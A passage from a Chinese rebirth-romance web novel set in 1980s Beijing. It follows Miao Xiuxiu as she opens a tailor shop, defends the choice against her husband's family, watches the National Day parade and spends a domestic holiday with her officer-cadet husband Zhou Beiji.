“我和警卫说你是我媳妇,他们才让我在门口等你带你进来,换成其他人根本不让进。”周北冀从苗秀秀手里接过装饭盒的袋子,打开饭盒以后,迫不及待先吃了几个韭菜盒子。苗秀秀看着他的馋样儿直笑。
“我要是不先吃几个,等会拿回去肯定被他们抢光了,现在他们一看到我拿饭盒回去就盯着我。”周北冀笑着告诉苗秀秀。
“你早说啊,早说我就多做几个带过来。”
“做多少都不够分,你是不知道那群人有多能吃。”
他的同学都是些二十多岁的大小伙子,正是最能吃的时候,每天魔鬼式训练又及其艰苦,别说一饭盒韭菜盒子,就是一箩筐,他们也能全抢光了。
43. 第四十二章
两人在校园里慢悠悠地走,苗秀秀打量四周,有操场有教学楼,还有铁丝网围起来的军事训练区,这里看起来和军区大院也没什么区别,所不同的也就是大院里时不时还能看到女人,这里却是女人禁区,走了十几分钟,一个女人都没看到。
“你们学校是不是不招女生?”
“那肯定啊,这里是培养军官的,女兵只能去话务连或者卫生队,这里没设相关专业。”
这下苗秀秀放心了,琢磨着怎么和他说,“周……那什么。”
“什么那什么?”周北冀看了她一眼,她当着他的面从来没好好叫过他名字,结婚前她跟着他妹妹叫他三哥,现在都结婚都小一年了,总不能还叫哥。
“周老四——”苗秀秀故意叫他。
“还敢这么叫?”周北冀不喜欢这称呼。
“小四?四四?”苗秀秀越叫越却起劲。
周北冀抬手在她脑门上弹了一指头。苗秀秀这才不闹,和他家里人一样叫他小北,这称呼他总不能不高兴了吧,再不高兴只能叫他周扒皮了。
找了个草坪坐着,苗秀秀把自己去给杨澍送设计图的时候看到吉小楠的事告诉周北冀。周北冀怔了一怔,“然后呢?”
“什么然后?然后我就走了呗。”
“你特意过去,不跟她干一架就走,不是你风格啊。”周北冀吃着韭菜盒子,把媳妇心思也猜得明明白白。就冲她那天非要当着方护士的面啃他,他就感觉出来她的报复心很强。
苗秀秀揉着他膝盖,抬头笑,“谁说我要找她打架,打得着么?万一她再打不过我,岂不是丢女兵的脸。”
“你就这么自信?五十米都游不动的人,打得过女兵?”周北冀上下打量苗秀秀一眼。娇娇软软的样子,哪里像是能打架的。
看到他嘴角沾着油,苗秀秀丢给他一条手绢,说:“你还别小看我,我在老家的时候每天翻山越岭上山砍柴拾柴打猪草,七八岁就开始帮家里干活挣工分,打她那样的,不是我吹,两个我都打得过。”
周北冀看着她自信满满的样子笑了一阵,“你没必要去找她,我跟她又没什么,她是给我写过好多信,以前也一起出去玩过,不过那都是一群人在一起,我没和她单独相处过。”
苗秀秀含笑望着他,不说话,表情像是在说,我信你个鬼,你要是跟她没暧昧过,她能在你结婚的时候哭成那样?不管有没有实质性接触,你给过她希望是肯定的,男人嘛,到处留情都是无意识的,反正备胎一个两个不嫌少三个四个不嫌多。
苗秀秀摆弄着裙角,假装很小声地嘀咕,“我不是专门去找她,也不是想怎么样,就是看看她长什么样。有点好奇,都是什么样的小姑娘喜欢你。”
上辈子最讨厌婊里婊气的女人,没想到这辈子变成了自己曾经最讨厌的样子。苗秀秀想,既然重生了,总要过一回不一样的人生,上辈子忙工作过劳死,恋爱也没好好谈过,这辈子她不仅要事业有成,还要活色生香。
“差不多都是你这样傻乎乎的。”周北冀笑着吃完嘴里的韭菜盒子。他已经一连吃了九个,不能再吃了。
苗秀秀凑在他耳边,在他脸侧飞快地亲了一下。周北冀笑,手在她头顶抚摸着。
送苗秀秀走的时候,遇上教官,周北冀抬手敬了个礼,教官也回了一个。
苗秀秀看着那人背影,说:“你们这教官长得吧,太瘦了,特别像夜半歌声里的周扒皮。”
周北冀哧一声笑,“夜半歌声里哪有周扒皮,是半夜鸡叫。”
“嘴瓢了。”苗秀秀也跟着笑。
让苗秀秀高兴的是,半个月以后,周北冀托了点关系,替她在军区大院附近找了一间租金相对便宜的门面房。她自己和房东谈价,预付了半年房租。
临近国庆,周北冀每天忙于训练抽不出时间,苗秀秀自己花了两天时间把房子清扫干净,又找人定做了招牌。看店里的墙面发黄,她又跑到市场去买涂料,自己粉刷墙壁,不干不知道,小小的身体里竟然蕴藏着这样的能量,每天晚上累到爬不起来,但内心是充实的。
店开起来以后,生意虽然没有想象中那样好,但是苗秀秀也不气馁,万事开头难,只要她迈出去这一步,将来总会有所好转。香奈儿最初的帽子店也不是一开始就赚钱。
为了扩大宣传,她自己手写了几百份宣传单,除了在军区大院里散发,还去附近的居民楼张贴,白天在店里做衣服,晚上去夜校念书,一个多月下来,她瘦了十几斤。
周北冀来验收成果,走到她小店门外,看着门上的招牌,秀秀服装店,很简朴的名字,走进去一看却是出乎他意料的好。
店里除了缝纫机、拷边机、裁剪台这些,还摆放着两个塑料模特,模特身上穿着苗秀秀自己设计裁剪的衣服,看起来挺像那么回事。
苗秀秀正忙着和来做衣服的顾客说话,周北冀进店好半天,她才看到他,等把顾客都送走了,上前拉住他。
“我给你做的西装已经做好了,正想找时间叫你回来试穿一下,你来的正好,现在就试试吧。”苗秀秀从货架上拿出一套西装,撕掉上面的塑料防尘袋,把西装和裤子抖了抖,让周北冀试穿。
周北冀套上西装,肥瘦正合适,照照镜子,发现款式也很新颖,和他平常看到别人穿的西装不太一样,比那更贴合身材。
“裤子也试试吧,要是合适,你干脆就穿在身上给我当模特。”苗秀秀上下打量着丈夫,觉得他穿上西装显得更帅了。军装英气勃勃,西装则是一种倜傥范儿,她老公天生是个衣架子。
“好。”周北冀说试就试,去试衣间把军裤换成西裤。出来的时候,苗秀秀夸他,“帅呆了,我家小周大帅哥帅呆了。”
“店开了这么多天,生意还好吗?”周北冀问她。
“挺好的,每天都有人来做衣服,我设计的样式,商场里都买不到。”苗秀秀报喜不报忧,不想把暂时的困难说给他听。
“那就好,爸妈让我们今晚回家吃饭,你开店的事他们已经知道了。”周北冀踌躇着,还是决定告诉苗秀秀一声,让她有个心理准备。
苗秀秀
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圈住丈夫的脖子,亲他一口,“你别担心,我知道该怎么说。”
两人一起回周家,看到客厅又坐满了人,甚至连周北冀两个回家探亲的哥哥也在,苗秀秀牵着周北冀的手,昂首挺胸走进去。
乐乐第一个看到小叔小婶,跑上前打量着小叔,仰着粉雕玉琢的小脸笑呵呵:“小叔今天好帅啊。”
这么点小孩子就知道夸人帅,周北冀摸摸她小脑袋,笑着说:“小叔只有今天帅吗?”乐乐摇摇头,“以前也很帅,但今天更帅。”
等周湘南和卢江宇也看到周北冀,不约而同地想,小弟今天确实帅,以前也不是没看他穿过西装,今天这一身很不一样,让他看起来修长挺拔。
聪明的周湘南一下子就猜出来,这一身西装肯定是苗秀秀做给他的。要说这苗秀秀可真厉害,知道家里要摆鸿门宴审她,直接让小弟穿着她做的衣服,用事实说话。
沈芬玉看着齐齐整整的小俩口,心里也感叹,放外人眼里怎么看都是一对璧人,可只有家里人知道,这苗秀秀现在是长了一百多个心眼子。
“听说你开了家裁缝铺?”周湘南望着苗秀秀。她就是父母的传声筒,每次找谈话都是她打头炮。
苗秀秀点了点头,“开了一个多月了。”
“怎么不和家里人商量一下就贸然开店?我们家可从来没出过个体户。”周湘南和当时很多清高的知识分子一样,觉得个体户不是什么正当职业,只能做些小打小闹不成气候的小生意,和体制内的铁饭碗没法比。
“我商量了呀,和周北冀商量了,他同意我才开店的。”苗秀秀看了周北冀一眼,希望他能帮自己说两句话。
周北冀正要开口,沈芬玉先一步阻止他,“你别说话,没你的事。”周北冀只得作罢,给了苗秀秀一个他已经尽力但是无能为力的眼神。
“我的意思是,怎么不和爸爸妈妈还有我们商量一下?”周湘南提高了音调。小弟陷在你的温柔乡里,他还能有什么原则,你和他商量有什么用,还不是都听你的。
“开店是我自己的事啊,我有我的职业理想和职业规划,对我自己的人生负责就行。”苗秀秀也不和周湘南杠,而是讲她自己的道理。
“可你是周家的儿媳妇,父母和哥哥姐姐在上,遇到事情哪有不和家里说就自作主张的?我们也不是不赞成你出去做事,可总要找个体面点的工作。”周湘南耐着性子说。她也看出来了,这苗秀秀就没打算好好交代。
“我不觉得当个体户开店就是不体面,中央开会的时候三令五申,要把工作重心转移到经济建设上来,人家深圳那边好多个人还开公司呢,我开店也是响应国家号召,为搞活经济做贡献。”苗秀秀看了身边的周北冀一眼,见他老不说话,索性说:“我以为我开店的事周北冀会告诉你们。”
这苗秀秀奸滑得很,一直避重就轻,不谈实质问题,反而把调子定到国家层面,合法的事就一定合理吗?国家允许个人开店当个体户,但周家不允许,周家的子女都是老老实实上班,端公家饭碗。周湘南越听越气。
44. 第四十三章
“事实上,小北非但没说,还一直替你瞒着家里,还不是怕你开店的事被家里知道了,全家人都会不同意。你想工作可以和家里说,我们家又不是不能给你找个稳定工作。”
“我不想端铁饭碗,再铁的饭碗也有被打破的一天,我宁愿自己造一个金饭碗,靠自己劳动力赚钱我没有什么好亏心的。”
无论周湘南怎么说,苗秀秀寸土不让。
周北冀的两个哥哥周岭东和周晋西听到这话都对苗秀秀刮目相看,有日子没见,小弟这个媳妇不仅变漂亮了,嘴皮子也利索多了,家里最厉害的老三周湘南都已经说不过她。
吴秀清和郭燕在一旁听着直冷笑,周湘南在家里横行多年,两个嫂子平时碍于面子都让着她,这回总算是让她遇上对手了。别看苗秀秀以前不显山不露水,还总被周家人瞧不起,有周北冀撑腰以后战斗力明显提升不少。
周中中却是满脸疑惑,最近他们学校里也在讨论经济建设的事,十一届三中全会已经开了好几年,沿海几个特区发展得热火朝天如火如荼,她好几个师兄师姐毕业后都去了南方,说那边到处都是私人开的公司和店。
甚至就在一天前,她从一个师兄那里得知,他们准备在国庆游行方阵里打横幅,向邓公致敬,至于横幅上写什么字,还是处于保密状态。但是当她一听到这个主意,立刻就想到了苗秀秀说的“小平您好”。
她一向最看不起的三嫂竟然能说出这样的话,这不亚于在周中中心里爆炸了一颗原子弹,让她不得不重新审视起她三嫂。她身上那种由内而外的自信让她看起来早已不再是以前那个胆小懦弱的苗秀秀,而是一个眼神坚定充满理想的创业者。
“姐,我觉得三嫂说的也有一定道理,选择什么样的工作、什么样的人生都是自己的事,她有权做决定,你们喜欢在国营体制内工作是你们的选择,有些人就喜欢自由自在,既然政策允许、国家提倡,那说明方向是对的。”周中中忽然说了这么一段话。
所有人都没想到小妹会替苗秀秀说话,以前和苗秀秀最不对付的就是她,特别是周北冀和苗秀秀,惊讶地面面相觑。周北冀欣喜,小妹终于长大了,思想开始渐渐成熟。
周中中看到三哥眼里的难以置信,瞥了他一眼,笑道:“你光知道让三嫂读书看报念夜校学知识,我每天在学校里上课学习,我就不能进步吗?”
周北冀笑了笑,“你说得对。”
周北冀二哥周晋西说:“虽然有些个体户投机倒把钻国家法律空子,但也不是所有个体户都这样,秀秀开裁缝铺我觉得不错,凭自己手艺开店挣钱,不丢人。”
郭燕看到自己平时难得开口的丈夫也出来帮苗秀秀说话,忙道:“是啊,秀秀的裁剪手艺我看不错,之前帮我做的连衣裙我们单位好多人看到了都说好看,都想找她帮忙做衣服呢。”
周湘南冷笑,一群人看准了风向不对,都开始临阵倒戈,小弟两口子没回来之前,你们可不是这么说的,你们都觉得个体户不靠谱,觉得小弟作为军官有个个体户老婆不体面,怎么全都变了?
眼看着儿女们分为两个阵营,沈芬玉打圆场,“秀秀的小店要不就先开一段时间试试看,不行再关也不迟。你们大姐也是好心,怕你的小店开着容易经营困难,给你们泼泼冷水,让你也冷静一点。”
“黑猫白猫捉到老鼠就是好猫,搞经济和闹革命一样,都要摸着石头过河,只要方向是对的,努力在个人。”
一家之主周明康发话了,众人也就不再讨论这个话题。苗秀秀松了口气,暗中在周北冀胳膊上拧了一把,这家伙今天就像个锯了嘴的葫芦,在他家人面前不帮她说话。周北冀自然知道老婆在生什么气,拍拍她的腰安抚她。
苗秀秀扭了扭腰,把他的手推开,不让他碰自己。周北冀非要碰她,她索性站起来去了厨房,周北冀讨了个没趣,悻悻然挠挠头发。
过不了多一会儿,他百无聊赖地站起来,先是看侄女小乐乐逗猫看了一会儿,又在客厅和门口瞎转悠半天,总不见媳妇出来,最终去厨房找她。
沈芬玉冷眼旁观,把小儿子那副没出息的样子全看在眼里,摇了摇头。
看到周北冀涎皮笑脸过来,讨好地要帮自己端菜,苗秀秀冷冷看了他一眼,只顾炒菜,不再搭理他。周北冀自知理亏,等她把菜炒好了,主动把盘子递上去。
苗秀秀当着小张的面也不好让他下不来台,接过盘子,把菜盛出来交给他。反正有的是机会收拾他,也不在这一时半会。不管怎么样,在周家人面前,她还不能没有这个盟友。
饭后,两个哥哥和老爷子谈起了工作问题,他们在部队都已经干到团及团以上职务,要是外面疯传的国庆阅兵后上面就会提出裁军计划是真的,那他们的去留就是个大问题。
周岭东的想法是还要继续在部队干下去,他已经是正团级上校,以后还能升得更高,他并不想转业到地方,但周晋西就不一样了,他在西藏最苦的地区当兵已经三年,他特别想调回雁京,甚至他都不想留在部队里,而是想辞职去深圳。军转干部不管是自主创业还是去机关企业就业,都是国家以后会提倡的。
“只要国家需要,你个人也有转业的意愿,也不是不能让你退。”周明康永远保持老一辈革命家的高风亮节。
苗秀秀悄悄看了丈夫一眼,见他认真听两个哥哥和父亲对话,胳膊肘捅了捅他,“你想不想转业?”周北冀扭头看着她,“不太想,我喜欢当军人,喜欢战争和各种武器。”
“我支持你,你想做什么就做什么,当一辈子军人我也支持你。”苗秀秀投桃报李。既然周北冀扶持她创业,她也愿意支持他坚持理想。
“小北,你怎么看?”周明康问小儿子的意见。
周北冀说:“裁军的风声已经传了一段时间,上头这回意志特别坚决,据说规模空前,恐
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怕要有近百万人退出现役,以大哥二哥的资历,不管是继续留在部队,还是转业,对个人来说都是一次机遇。我自己的话,还是想继续留在部队,不然我这几年军校也白上了。”
周明康点了点头,孩子们的意见他大概也了解了,只要不违背原则,他愿意支持他们的决定。
“后天就是国庆阅兵了,到时候你们都去看看,我们国家现在的国防力量已经达到了什么水平。”
周明康作为军区重要领导,国庆阅兵大典他肯定是要参加的,而且要上主席台观礼,小儿子和小女儿则要代表各自学校参加阅兵式方阵,这是周家人骄傲的一天,老爷子要求全家老幼齐上阵,都去现场观礼。
苗秀秀也分到一张票,是在天安门下方的群众观礼区,沾了军属的光,座位还挺靠前。她想好了,到时候要穿上最漂亮的衣服、带上周北冀那个鹰眼望远镜,好好看看丈夫在阅兵方阵里帅气的样子。
把苗秀秀送回家,周北冀没进家门就返回学校去了,杨澍过来送演出票给苗秀秀,正遇上她和周北冀道别,站了一会儿等周北冀走了他才上前。
“我去你店里,发现店门已经关了,原来是和周北冀约会去了。”杨澍开玩笑地说。
“没约会,周家人喊我们回去吃饭。”
苗秀秀无意中一抬眼,看到方护士正在走廊上织毛衣,看热闹一样往栏杆前凑近了身子,心中顿时起了心思,对杨澍说,“周北冀不在家,你上我家坐坐吧。”
“好啊。”杨澍也是个促狭鬼,他早就注意到楼上有个女人鬼鬼祟祟盯梢,有心要和苗秀秀一起演一出戏,戏弄一下那个多事的人也好。
两人上楼,一进家门苗秀秀就把门给紧紧关上了,家里地方有限,只能把客人请到兼具卧室功能的起居室,还打开了窗户。
杨澍慧黠一笑,抬手指了指隔壁。苗秀秀重重点了下头,示意他刚才那个盯梢的女人就住在隔壁。
“我们团后天下午演出,给你送两张演出票。”杨澍把票放到缝纫机上,有意走到窗口,他能想象,一墙之隔那个女人正站在窗口偷听。
“我们有票啊,每次演出舒华都会让叶三哥给我们票。”
“这回不用她给,我给,你帮我们设计的演出服,团里的演员都说好看,尤其是那几个独唱的,都抢着穿。”
杨澍说话的时候,一直聆听着隔壁的动静,这种筒子楼每家每户窗户挨得都很近,只要站在窗口,经常能听到邻居家的各种声音。
“那行啊,我和周北冀说一声,舒华的票不用再给我们。”
看到杨澍向自己招手,苗秀秀走过去,做了个口型,她在?
杨澍点点头,用口型说,在,比划了一个点烟的手势。苗秀秀立刻会意,去厨房找了一团废旧报纸,到窗口划了根火柴点上,杨澍搬来电风扇把浓烟吹向隔壁,很快听到女人个咳嗽声,紧跟着是关窗户的声音。
45. 第四十四章
把烧起来的旧报纸用水浇灭了,苗秀秀笑得不行,这就叫自食其果,对偷听壁脚的,只能以其人之道还治其人之身。
杨澍等她笑够了,才和她说正事:“我来还有个事,你上回跟我说的事,我觉得提议很不错,但我有一个建议,我们把许文强同款风衣订做量提升到五百件,启动资金我来解决,就当我入股你的小店,赚了钱咱俩对半分。”
“五百件?量有点大了吧,我目前是小本生意,能卖出去五十件就不错了。”苗秀秀不敢在一开始就把摊子铺那么大。小本经营一开始需要一段时间的原始积累。
“这你别担心,你店里卖不完我们可以去夜市卖,西单和东华门夜市现在都很火,我有个认识的哥们儿在那边练摊儿做服装生意,只要你版型打得好,不愁销路。”杨澍早就打听过了,夜市上卖服装的特别挣钱。
苗秀秀有点不敢相信地看着他,“可你是军官啊,你能做生意吗?”杨澍说:“我不出面,只提供资金和负责联络,最终还需要你和厂家签合同下订单。”
“我听周家人说,明年很可能就要裁军了,你是不是想到时候退下来?”
“有这个想法,但是还没说通我家里人。”
“你要真能从现役退下来,不如和我一起开公司,我一个人守着小店还可以,真正创业扩大规模还是忙不过来,再说我也没有你人面熟路子广。”
之前杨澍说要一起合开公司的时候,苗秀秀心里就有点活动,合作设计定做演出服成功之后,她觉得这个人还蛮靠谱,起码他眼光是真不错,他给她提出的几条修改意见都说在了点子上,说明他在这方面很有审美天分和艺术眼光,不愧是常年混在女人堆里的,他非常聪明也很善于观察。
“开公司可不是个小事,你最好和周北冀商量一下,引起他误会就不大好了。”杨澍开玩笑地说。
苗秀秀知道他不过是在说笑,揶揄他,“我的事不用你操心,我家周北冀也不是拎不清的人。倒是你,要不要和我小姑子商量一下,我可听说她明年一毕业就要去美国继续深造。”
这事她只是在吃晚饭的时候听沈芬玉和周中中提过两句,沈芬玉哥哥一家在美国,沈芬玉想托哥哥帮忙把女儿办出去,周中中自己对外面的世界不是不向往,但还是有点犹豫。
“她出不出国和我有什么关系?”杨澍做了个不屑一顾的表情。
“好吧,看来我小姑子是自作多情,你对她没有一点兴趣。天不早了,我就不留你坐了,不然隔壁不知道又要怎么编排我。”苗秀秀故意站起来,做了个逐客的手势。
杨澍只得站起来,手指点了点她。苗秀秀当没理解他的意思,跟在他身后送客。
天确实挺晚了,送走杨澍都快九点了。
苗秀秀关好门户,思考着他提议的风衣订货量增加到五百件的提议,始终觉得还是太冒进了,西单夜市才开起来时间不长,一时火爆并不代表已经经过时间考验,国庆后天气越来越冷,逛夜市的人也会跟着减少,那么大数量的衣服只怕不好卖。
胸又涨又痛,苗秀秀洗澡的时候揉了半天,这才想起来应该是快来大姨妈了,最近周北冀忙训练没时间折腾她,大姨妈又开始折腾她。
瘫在床上起不来,当天夜里大姨妈就来了,苗秀秀很是沮丧,她都想好了国庆当天怎么搭配衣服,大姨妈一来就破坏了她的计划。
穿衣服的时候胸大也是一种烦恼,只能在衬衣领口做特别设计,为此她花一天时间做了一件白色丝麻衬衣,胸口设计了几道褶皱,下摆也设计成可以打结,这样配上黑色阔腿裤穿,效果出奇的好。
国庆当天,苗秀秀和周家人一起前往天安门广场,在宾客观礼区坐下,盛大的场面让人心潮澎湃。
军事院校方阵出场很早,苗秀秀拿着鹰眼望远镜,无论怎么努力去看,也无法在整齐划一的方阵中看到丈夫的身影,方阵中每个军人的身高都很相似,横看纵看都是一条线,统一的穿着让他们连面貌都相似,方阵走得又快,一转眼就走了过去。
苗秀秀遗憾地坐下,旁边的小乐乐看着她着急的样子直笑。
“小婶,你在看什么?”
“我在找你小叔。”
“小叔也在队伍里面吗?”
“对啊,你小叔可威风了,穿的都是新式军装。”
“那我也要看小叔。”乐乐张着手,要苗秀秀把望远镜给她看看。苗秀秀把望远镜给她,告诉她,她小叔的方阵已经过去了。就那么一眨眼工夫,她们都没看到他。
“别急,一会还有你小姑她们大学的方阵。”苗秀秀安慰小侄女。乐乐点点头,“我要看小姑,一会小姑出来了,你告诉我。”
整个阅兵式让人热泪盈眶,苗秀秀一直看到最后,才不得不离开现场。
中午全家人吃饭,周北冀没有回来参加,说是学校有聚餐,校领导和全体阅兵参与人员都要参加。苗秀秀看着电视里播出的阅兵大典实况,一个镜头扫过,恍惚间似乎看到了丈夫的脸一闪而过,她激动无比。
下午,周北冀回家的时候,苗秀秀正在厨房炸肉丸子,她准备了好几个菜犒劳丈夫,看到他出现在眼前,她几乎没认出他来。
虽然晒得脸黑红,他穿新式军装也太好看了,倚在门边的样子,有一种不羁的、飞扬跳脱的帅,苗秀秀关掉煤气放下锅铲一下子跳到他身上,扑进他怀里,在他脸颊上、嘴唇上拼命亲了好几下。
周北冀双手托住她,低头和她接吻,抑制不住激动,手摩挲着伸进她衣服里,快
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两个月了,零零星星回过几次家,都没好好和她亲热过。
眼看着周北冀要抱她上床,苗秀秀只好遗憾的告诉他,自己来大姨妈了,没法陪他。
“大姨妈是什么?”
“就是例假。”
“为什么叫大姨妈?”
“因为大姨妈是亲戚里最亲的啊,例假也是每个月来一次,像亲戚一样准时来访,所以就把例假叫大姨妈。”
“怎么就这么巧,我好不容易有两天假。”周北冀不能更沮丧,他盼着回家疼媳妇都盼了一个多星期了。不能亲热那多没劲。
“你先去洗澡吧,我做好吃的给你吃。”苗秀秀把周北冀推进浴室。
他洗了很长时间才出来,等他换好了衣服走到客厅里,看到桌上已经摆好了饭菜。有几只清蒸螃蟹,还有蟹肉蟹黄炒鸡蛋,有凉拌麻辣牛肉、炙羊排,还有虾仁牡蛎蒸豆腐,还有一盘简单但是好吃的大白菜粉条烧肉丸,看着就让人流口水。
下半个月不准备过了?买这么多菜?周北冀看着一桌丰盛的菜,不由得感慨。媳妇的厨艺固然不错,但他们的小家庭也没富裕到想怎么吃就怎么吃的地步。
你好不容易回家吃饭,当然要丰盛点。苗秀秀还精心准备了一瓶红酒,取出结婚时别人送的一套高脚杯,在周北冀和自己面前各摆了一只杯子,倒了半杯红酒。
“白天在阅兵大典拿望远镜都没看到你,真是太遗憾了,晚上要为你庆功,老公辛苦啦。”苗秀秀端起酒杯,要敬周北冀一杯。
“老公?”
“对啊,我是你老婆,你可不就是我老公,人家香港人都这么叫。”苗秀秀可爱地眨巴了一下眼睛。
周北冀也端起酒杯,和苗秀秀碰了碰杯,把杯中酒一饮而尽,大口大口吃着她烧的几个好菜。很长时间没吃到媳妇烧的菜了,还是这么好吃,媳妇那张脸也好看,出水芙蓉一样嫩生生、粉扑扑的。
“我感觉你瘦了好多。”苗秀秀端详着丈夫的脸。
“高强度训练,不瘦才怪。”周北冀也看着苗秀秀。
一顿饭吃得眉来眼去、柔情蜜意,就连苗秀秀去厨房洗碗,周北冀都跟着,两只手还特别不安分,恣意游走。
“你急什么,让我忙完的行不行?”男人急色的时候也很让人无语,苗秀秀都快被他缠烦了。他就像个跟屁虫,一缠上她就不肯放手。
好不容易刷锅洗碗完毕,周北冀轻轻一托就把苗秀秀给举起来抱进怀里,苗秀秀说,不去床上吧,咱们去沙发上。
想解决需求,怎么都会有办法,苗秀秀有的是花样,她喜欢这种当狐狸精的感觉,看着男人□□贴在她身上的表情。他的头发茬很硬,戳得她皮肤疼,她把他脑袋推开,他却一个劲把脸往她怀里钻。
46. 第四十五章
“你像不像个样子啊,白天参加阅兵式的时候多英武,现在怎么跟狗一样。”
“能一样吗,阅兵是爽别人,这是爽自己。”
“哎呀遭了,我忘记一件事,今晚大礼堂有演出,本来想和你一起去看的。”苗秀秀忽然记起来,文工团晚上有演出,杨澍那天专门送了两张票来。
“国庆汇演啊,唱歌跳舞的没什么看头。”周北冀看演出都看腻了,从小到大看过无数次,“我给你买了一个礼物,放在你梳妆台上了,早就想带给你,一直没时间。”
“什么礼物,我要看看。”苗秀秀最喜欢看礼物了,当即丢下周北冀跑去梳妆台。看外包装就知道,他送她的是一瓶香水,玛丽莲梦露最喜欢的香奈儿5号。打开盒子,苗秀秀往身上喷了几下。
“你在哪儿买的?”
“托人从法国带回来的,你不是喜欢香水吗,早就说要给你买一瓶。”
周北冀往腰上围了一圈浴巾,去厨房拿一瓶汽水喝,躺在沙发上看电视。苗秀秀套上睡衣,跑到他身旁坐着,低头看他膝盖。
“上回你说膝盖疼,有没有好一点?”
“早不疼了,校医每天晚上用沙袋给我们热敷。一开始也还行,就是最后两个月练得很辛苦。”
苗秀秀替他揉着膝盖,把从李嫂那里听来的方护士的八卦告诉周北冀,还总结陈词说,周湘南和方护士关系那么好,不是没有理由的。
周北冀一听就皱起了眉,“你这都是听谁说的?”
“你别管我听谁说的,反正这事没冤枉她,她老是打咱俩的小报告总不是我胡编的吧,你姐也是,咱俩的闺房事她也打听,要我就不爱听,臊不臊得慌。”苗秀秀替周北冀捏完了腿,又捏肩。
“我姐那个人你又不是不知道,我当弟弟的总不好去说她什么,要不下回你回家的时候和咱妈说一下。”
“说什么?说咱俩大白天亲嘴被方护士看到告诉了你姐?我哪好意思和咱妈说,再说了,咱妈又不是不知道方护士爱告状,之前咱俩闹得声音大点,她不就告诉咱妈了。”苗秀秀偎着在周北冀怀里没好气地说。
周北冀搂住她,手抚在她身上,笑着说:“那你没想办法治治她?”“人家是你姐的好朋友,我哪敢治她。”苗秀秀想,总不能告诉你,我拿烟熏她了吧。
“你不知道,你姐还有更过分的。”苗秀秀决定一次性数落周湘南的“罪行”,以前的苗秀秀是不敢说,后来又没想起来说,现在是新仇旧恨加在一起,她非说不可。
“什么?”周北冀不知道他姐又怎么了。
苗秀秀告诉他,结婚前周湘南带她去婚检,让医生把她全身上上下下都检查个遍。
“她还让医生检查我是不是处女,以为我没听到,其实我都听到了,我那时刚从农村进城,当着你姐的面,医生把我下面查得那叫一个仔细,我都羞死了,那女医生还摸我的胸,用B超探头看我的胸里长没长肿块,不是我说,皇帝选妃子也没有检查这样仔细的,简直侮辱人,当我是什么呀,进贡给你的秀女吗?”
周北冀笑了一声,“是有点过分,不过婚检本来就要查这些,我也婚检了啊。”
苗秀秀义愤填膺,“那也没查你是不是处男啊,凭什么查我是不是处女,假如我不是处女,你家是不是就不要我了?”
周北冀只是笑,不言语。
“反正这个社会就是对你们男的要求低,对女人要求高。”苗秀秀撇下周北冀,自己回床上睡觉去了。十月里气温降低,她已经铺上了褥子,也开始盖薄被子。
看到床单、被套全是新的,周北冀及时转移话题,问苗秀秀,“床单什么时候买的,我怎么没见过?”
“为了欢迎你载誉归来,我自己做的床上四件套,床单、被套、枕头套一样的花色,怎么样,好看吧?”苗秀秀不无得意。
她早就观察过了,就连周家都没开始用四件套,用的还是以前那种印花床单。
“好看。”周北冀受苗秀秀影响,也越来越喜欢成套的东西。
看到媳妇缩在被子里可爱娇媚的样子,周北冀也跟着钻进被子,在媳妇耳边柔声哄她,“方护士的事,我哪天找我妈说一下,也让她说说我姐,这样盯着咱俩太过分了。”
“我看她呀,上辈子肯定是敬事房太监,专管记录皇帝哪天宠幸妃子宫女,这辈子投胎变成女的还改不了那点爱好。”苗秀秀转过身,在丈夫耳边说悄悄话。
周北冀笑得不行,不得不说,苗秀秀这番话逻辑很能自洽,因为是敬事房太监投胎,所以心理变态,完全说得过去啊。
这一晚,两人在香奈儿5号的香气氤氲中睡得甜甜蜜蜜。
为了哄媳妇,周北冀起了个大早,主动去食堂买了早点回来,说要带苗秀秀出去玩一天。
“你到雁京这么长时间,也没带你出去玩过,今天带你去逛逛颐和园、北海公园,明天带你去逛故宫。”
“你早说啊,早说我就准备点吃的带上,我自己会做熏肉三明治。”苗秀秀嫁到雁京这么久,周北冀还是第一回带她去户外游玩。其实这些地方她早就想去了,但是怕迷路,以前又不好意思和周北冀提,就一直耽搁着。
“中午带你去建国饭店吃西餐。”周北冀吃着煎饼油条,对媳妇说。
“你们城里人真洋气,都开始吃外国饭了,我们山里人饭都吃不饱。”苗秀秀笑着揶揄她。原主生活的大别山地区温饱问题尚未解决,西餐什么的简直天方夜谭。
“你是山里人?山里人会做三明治?”周北冀笑着斜了苗秀秀一眼。那目光好像在说,我不拆穿你罢了。
“有什么难的,不就是你们陕西老家的肉夹馍。”苗秀秀低头吃饭,嘀咕一句,心里想着,中午一定要好好敲你一顿,都这么长时间了,才知道带人家出去玩。
出发前,苗秀秀换上清爽的白色棉麻连衣裙,外面罩上一件粉色毛开衫,为了走路方便,脚上穿的是白色球鞋,长发还是梳成公主头,别上两支珍珠发卡,她近期特别喜欢这个发型,觉得搭配什么衣服都好看。
怕太阳晒得眼花,她把新买的墨镜也戴上,周北冀洗了碗出来,看到的就是他漂亮时髦的媳妇照镜子臭美。
“我不想骑车了,你带着我吧。”
“嗯,车昨天刚打了气,能带人。”
夫妻俩
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一起出门,苗秀秀轻巧地坐上车后座,搂着周北冀的腰叫他快点出发。
秋高气爽的天气,大院里绿树成荫,风吹在身上特别舒服,他俩拐出院子的时候,正遇上周明康的专车开进来,周北冀假装没看到,径直骑了出去。
“那是不是爸爸的车?”
“是。”
“你也不打个招呼?”
“我爸这两天休假,车里坐的不是我妈就是中中,懒得多事,不和他们打招呼也罢。”
周北冀一心想带媳妇去过一个属于他俩自己的假期,不想被家里人影响了心情。不管车里是他妈还是他妹妹,打招呼就难免被她们问长问短。
车里,周中中摇下车窗,看了一眼骑车外出的两个人,认定那是她三哥三嫂,心里好奇,他俩一大早骑车出门是要去哪里,三嫂现在每次出现,都会打扮得很漂亮。
自从上次家里开会讨论三嫂开店的事,她对三嫂的感觉变得很复杂。
三嫂似乎真的改变了很多,不再是从前那个什么都不懂的乡下小媳妇,她不仅变得自信开朗了,眼界和见识也提高了,某些方面的领悟甚至超过了她这个大学生,这不仅让她对她看法转变,也让她产生了一种紧迫意识。
连一个乡下姑娘通过读书学习都能在思想上发生这么大转变,她一个新时代的大学生还有什么理由不争朝夕,前段时间她整天为杨澍的事心神不宁,生活学习都受到很大影响,现在想想都觉得惭愧。
